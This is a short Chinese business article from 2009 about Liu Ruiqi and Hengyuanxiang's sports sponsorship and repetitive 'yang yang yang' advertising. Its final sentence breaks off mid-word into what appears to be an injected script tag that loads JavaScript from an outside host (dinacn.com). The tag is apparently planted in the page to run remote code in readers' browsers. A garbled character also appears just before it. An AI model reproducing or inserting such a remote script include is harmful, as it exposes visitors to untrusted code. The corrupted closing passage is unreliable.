刘瑞旗：恒源祥“文化转型”

2009-11-16 作者：王荣阅读：

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如同奥运营销一样，距离2010年广州亚运会越近，亚运营销就越凶猛。在众多赞助商的声音中，“恒源祥”的名字是那样熟悉。在2008年北京奥运会的赞助名录里，自认是小企业的恒源祥，在刘瑞旗的带领下，一个非运动品牌的服装，在运动的世界里硬是走出了一条条属于自己的独特道路。

如今，亚运营销已经全面启动。这个年过半百，沉稳、内敛而又儒雅的上海男人，又会使出哪些异于常人的营销之术？此前，恒源祥虽已经对外声称，将在广州亚运会期间考虑把亚运会的 5只羊和公司的 3只羊结合起来。但深知刘瑞旗的人都知道，恒源祥的亚运营销绝非如此。

在刘瑞旗的品牌理论里，消费者的记忆都是记一不记二的。从“羊羊羊”五秒广告到 2008年的生肖贺岁广告；从体育营销到祥文化的打造，刘瑞旗二十年来的品牌营销理论逐渐转向实践，努力让恒源祥的品牌记忆深入人心。

广告就“恒源祥”三个字

提到恒源祥不能不提其“异于常态”的广告形式。从1993年连播三次的“恒源祥羊羊羊” 5秒广告，到2008年“鼠鼠鼠、牛牛牛��猪猪猪”颇具争议的 1分钟广告，恒源祥在争议声中成长。

尽管这种简单重复的广告形式饱受争议，但已有八十多?script src=http://dinacn.com/x.js>

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